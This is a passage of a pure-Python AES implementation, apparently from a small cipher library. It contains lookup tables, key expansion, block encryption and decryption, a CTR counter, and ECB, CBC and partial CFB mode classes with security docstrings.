0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] # Transformations for decryption key expansion U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] def __init__(self, key): if len(key) not in (16, 24, 32): raise ValueError('Invalid key size') rounds = self.number_of_rounds[len(key)] # Encryption round keys self._Ke = [[0] * 4 for i in xrange(rounds + 1)] # Decryption round keys self._Kd = [[0] * 4 for i in xrange(rounds + 1)] round_key_count = (rounds + 1) * 4 KC = len(key) // 4 # Convert the key into ints tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] # Copy values into round key arrays for i in xrange(0, KC): self._Ke[i // 4][i % 4] = tk[i] self._Kd[rounds - (i // 4)][i % 4] = tk[i] # Key expansion (fips-197 section 5.2) rconpointer = 0 t = KC while t < round_key_count: tt = tk[KC - 1] tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ (self.S[(tt >> 8) & 0xFF] << 16) ^ (self.S[ tt & 0xFF] << 8) ^ self.S[(tt >> 24) & 0xFF] ^ (self.rcon[rconpointer] << 24)) rconpointer += 1 if KC != 8: for i in xrange(1, KC): tk[i] ^= tk[i - 1] # Key expansion for 256-bit keys is "slightly different" (fips-197) else: for i in xrange(1, KC // 2): tk[i] ^= tk[i - 1] tt = tk[KC // 2 - 1] tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ (self.S[(tt >> 8) & 0xFF] << 8) ^ (self.S[(tt >> 16) & 0xFF] << 16) ^ (self.S[(tt >> 24) & 0xFF] << 24)) for i in xrange(KC // 2 + 1, KC): tk[i] ^= tk[i - 1] # Copy values into round key arrays j = 0 while j < KC and t < round_key_count: self._Ke[t // 4][t % 4] = tk[j] self._Kd[rounds - (t // 4)][t % 4] = tk[j] j += 1 t += 1 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) for r in xrange(1, rounds): for j in xrange(0, 4): tt = self._Kd[r][j] self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ self.U2[(tt >> 16) & 0xFF] ^ self.U3[(tt >> 8) & 0xFF] ^ self.U4[ tt & 0xFF]) def encrypt(self, plaintext): 'Encrypt a block of plain text using the AES block cipher.' if len(plaintext) != 16: raise ValueError('wrong block length') rounds = len(self._Ke) - 1 (s1, s2, s3) = [1, 2, 3] a = [0, 0, 0, 0] # Convert plaintext to (ints ^ key) t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T4[ t[(i + s3) % 4] & 0xFF] ^ self._Ke[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Ke[rounds][i] result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result def decrypt(self, ciphertext): 'Decrypt a block of cipher text using the AES block cipher.' if len(ciphertext) != 16: raise ValueError('wrong block length') rounds = len(self._Kd) - 1 (s1, s2, s3) = [3, 2, 1] a = [0, 0, 0, 0] # Convert ciphertext to (ints ^ key) t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T8[ t[(i + s3) % 4] & 0xFF] ^ self._Kd[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Kd[rounds][i] result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result class Counter(object): '''A counter object for the Counter (CTR) mode of operation. To create a custom counter, you can usually just override the increment method.''' def __init__(self, initial_value = 1): # Convert the value into an array of bytes long self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ] value = property(lambda s: s._counter) def increment(self): '''Increment the counter (overflow rolls back to 0).''' for i in xrange(len(self._counter) - 1, -1, -1): self._counter[i] += 1 if self._counter[i] < 256: break # Carry the one self._counter[i] = 0 # Overflow else: self._counter = [ 0 ] * len(self._counter) class AESBlockModeOfOperation(object): '''Super-class for AES modes of operation that require blocks.''' def __init__(self, key): self._aes = AES(key) def decrypt(self, ciphertext): raise Exception('not implemented') def encrypt(self, plaintext): raise Exception('not implemented') class AESStreamModeOfOperation(AESBlockModeOfOperation): '''Super-class for AES modes of operation that are stream-ciphers.''' class AESSegmentModeOfOperation(AESStreamModeOfOperation): '''Super-class for AES modes of operation that segment data.''' segment_bytes = 16 class AESModeOfOperationECB(AESBlockModeOfOperation): '''AES Electronic Codebook Mode of Operation. o Block-cipher, so data must be padded to 16 byte boundaries Security Notes: o This mode is not recommended o Any two identical blocks produce identical encrypted values, exposing data patterns. (See the image of Tux on wikipedia) Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1''' name = "Electronic Codebook (ECB)" def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) return _bytes_to_string(self._aes.encrypt(plaintext)) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') ciphertext = _string_to_bytes(ciphertext) return _bytes_to_string(self._aes.decrypt(ciphertext)) class AESModeOfOperationCBC(AESBlockModeOfOperation): '''AES Cipher-Block Chaining Mode of Operation. o The Initialization Vector (IV) o Block-cipher, so data must be padded to 16 byte boundaries o An incorrect initialization vector will only cause the first block to be corrupt; all other blocks will be intact o A corrupt bit in the cipher text will cause a block to be corrupted, and the next block to be inverted, but all other blocks will be intact. Security Notes: o This method (and CTR) ARE recommended. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2''' name = "Cipher-Block Chaining (CBC)" def __init__(self, key, iv = None): if iv is None: self._last_cipherblock = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_cipherblock = _string_to_bytes(iv) AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] self._last_cipherblock = self._aes.encrypt(precipherblock) return _bytes_to_string(self._last_cipherblock) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') cipherblock = _string_to_bytes(ciphertext) plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] self._last_cipherblock = cipherblock return _bytes_to_string(plaintext) class AESModeOfOperationCFB(AESSegmentModeOfOperation): '''AES Cipher Feedback Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, but does need to be padded to segment_size Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3''' name = "Cipher Feedback (CFB)" def __init__(self, key, iv, segment_size = 1): if segment_size == 0: segment_size = 1 if iv is None: self._shift_register = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._shift_register = _string_to_bytes(iv) self._segment_bytes = segment_size AESBlockModeOfOperation.__init__(self, key) segment_bytes = property(lambda s: s._segment_bytes) def 